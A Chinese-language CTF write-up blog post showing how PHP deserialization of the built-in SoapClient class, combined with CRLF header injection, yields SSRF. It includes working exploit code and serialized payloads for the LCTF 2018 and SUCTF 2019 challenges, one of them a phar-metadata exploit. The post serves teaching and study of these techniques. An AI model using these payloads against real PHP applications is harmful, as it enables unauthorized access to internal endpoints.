wywwzjj's Blog.

当 PHP 反序列化遇上 SSRF

字数统计: 1.9k阅读时长: 8 min
2019/08/20 Share

SOAP 简介

SOAP(Simple Object Access Protocol)是一种在 web service 通信时所用的基于 xml 的协议。

远在天边,近在眼前,通过这种协议可以实现“本地”调用的效果。

简单实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// soapServer
function getTime() {
return date('Y-m-d', time());
}

$soap = new SoapServer(null,
['uri' => 'abcd'] // namespace of the SOAP service
);
$soap->addFunction('getTime');
$soap->handle();


// soapClient
$client = new SoapClient(null,
['location' => 'http://example.com', // 服务端 URL
'uri' => 'abcd'] // 需要与服务端一致(只发起请求可以随意填)
);
echo $client->getTime(); // 得到服务端所返回的时间
// 这里非常重要,是反序列化到 SSRF 的核心(实际操作可调用任意方法)
// 这里调用了未定义的方法将唤起 __call 魔术方法,从而向 server 端发起一个请求,实现 SSRF 的效果

还有一个很重要的利用点,CRLF 头注入,一个在 user_agent,一个在 uri,可惜的是这种方式只支持 http 协议。

下面来看一看具体的数据包:

不熟悉 CRLF 头注入利用方法的可以参考一下这篇文章,Trying to hack Redis via HTTP requests

相关例题

2018 LCTF babyphp’s revenge

hint:反序列化

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f], $_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

1
2
3
4
5
6
session_start(); 
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
$_SESSION['flag'] = $flag;
}

题目非常简洁,就两个文件。flag 的位置也很明确,但这有一个限制,只有来自 localhost 的访问才能将 flag 写入 session 中,意味着需要 SSRF 或者直接 getshell。

给的提示是反序列化,代码不多,不由得想到 session 里的反序列化,可以看看之前的一个题,从 session 角度学习反序列化 (与此题不相同的一点是,这里直接给了写 session 的接口,两题或许可以结合一下)

参照以前的思路,我们需要设置不同的序列化的处理器,来达到对象注入的目的。如何才能设置呢?

目光继续聚焦于 session_start ,官方文档给了一个重要提示:配置可覆盖(该进程下临时生效就够了)。

那要注入什么要的对象才能达到 SSRF 的目的呢?由于不能定义其他类,只好从内置类想办法,这时候 SoapClient 就可以闪亮登场了,上面已经铺垫了相关知识,这里着重解释处理手法。

1
2
3
4
5
6
$b = new SoapClient(null, ['location' => 'http://127.0.0.1/flag.php',
'uri' => "DDD\r\n" . "Cookie: PHPSESSID=2"]);
// 别忘了带 Cookie,不然去哪看 flag :)
echo urlencode(serialize($b));

//O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A24%3A%22DDD%0D%0ACookie%3A+PHPSESSID%3D2%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

可看到语句成功写入 session

再正常访问一下,session 里的语句被成功反序列化成为 SoapClient 对象

有人可能还是会有疑问,为什么一定要这样设置呢,不能赋值进去再自动反序列化吗?

这里多说一下,其实上面的文章已经有写过。先看一下基本的几种序列化的存储方式:

  • php_binary:键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize () 函数序列化处理的值
  • php:键名 + 竖线 + 经过 serialize () 函数序列处理的值
  • php_serialize :经过 serialize () 函数序列化处理的值

从 PHP 文档可查到,默认使用 php 这种序列化格式,也就是已经存在竖线的那种方式。

这种方式的反序列化有个小细节:PHP 获取到 session 字符串后就开始从左至右寻找竖线,找到后以竖线为分隔符,竖线前的为键名,后的做键值,并对键值进行反序列化。如果反序列化失败,则放弃此次解析,再以这样的方式网下寻找继续找。

1
name|s:163:"|O:10:"SoapClient":4:{s:3:"uri";s:1:"a";s:8:"location"...

像现在这种情况,出现了两个竖线,就会将后面整个 s:163:"O:" 字符串进行反序列化,得到的很可能就只是一个数组。

到这里,我们的对象注入总算是成功了,那该如何调用 __call 呢?

别忘了这还有一个 reset 函数:

reset()array 的内部指针倒回到第一个单元并返回第一个数组单元的值

也就是说,reset($_SESSION) 将返回的就是 SoapClient 对象,这就很棒了,得来全不费功夫。

我们可以先把 $b 覆盖成 call_user_func ,以下面这种形式进行调用:

1
call_user_func(array(SoapClient Object, 'welcome_to_the_lctf2018'));

再正常访问就可以看到 flag 了。

2019 SUCTF upload2

考点:phar 反序列化、反射、SSRF、SoapClient

简单说一下题目大意,有一个上传点(index.php),限制了图片后缀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}

check(class.php)里检查了是否含有 <?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include 'config.php';

class File{
public $file_name;
public $type;
public $func = "Check";

function __construct($file_name){
$this->file_name = $file_name;
}

function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

function __toString(){
return $this->type;
}
}

class Check{
public $file_name;

function __construct($file_name){
$this->file_name = $file_name;
}

function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}

另外还有一个查看点(func.php)

1
2
3
4
5
6
7
8
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}

目标在 admin.php 里

1
2
3
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
// 拿 flag
}

由此可知只能打 SSRF,加上前面的一系列限制,直接传 webshell 是不太现实的。

综合总的题目情景,前一部分和 hitcon 2017 中的 baby^h-master-php-2017 很像,可由 finfo_file($finfo, $this->file_name) 触发反序列化,再通过 soap 打出 SSRF。

以下直接给出 exp:(具体分析可参考 De1ta 的 wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('__HALT_COMPILER();'); // 并不需要加 <?

class File {
public $file_name = "";
public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=xxx&port=xx&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'1')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

总结

另外还有一些例题,比如:

  • 2018 N1CTF Easy&&Hard PHP

  • 2019 De1taCTF shellshellshell

简单小结一下,这些题的情景大都是这样:

最终目标都受到了 IP 的限制,往往需要打出 SSRF,但并没有找到明显的 SSRF 点,只有一个反序列化的,此时该如何利用呢?

都指向了原生类——SOAPClient,有了两个 CRLF 的助攻,打出去的 POST 报文几乎完全可控。

这样的 SOAP,你喜欢吗 :)

参考链接

http://pupiles.com/lctf2018.html

https://blog.wonderkun.cc/2018/03/13/n1ctf-hard-php-writeup/

https://www.kingkk.com/2018/11/2018-lctf-web-学习篇/

https://www.anquanke.com/post/id/164569

CATALOG
  1. 1. SOAP 简介
  2. 2. 相关例题
    1. 2.1. 2018 LCTF babyphp’s revenge
    2. 2.2. 2019 SUCTF upload2
  3. 3. 总结
  4. 4. 参考链接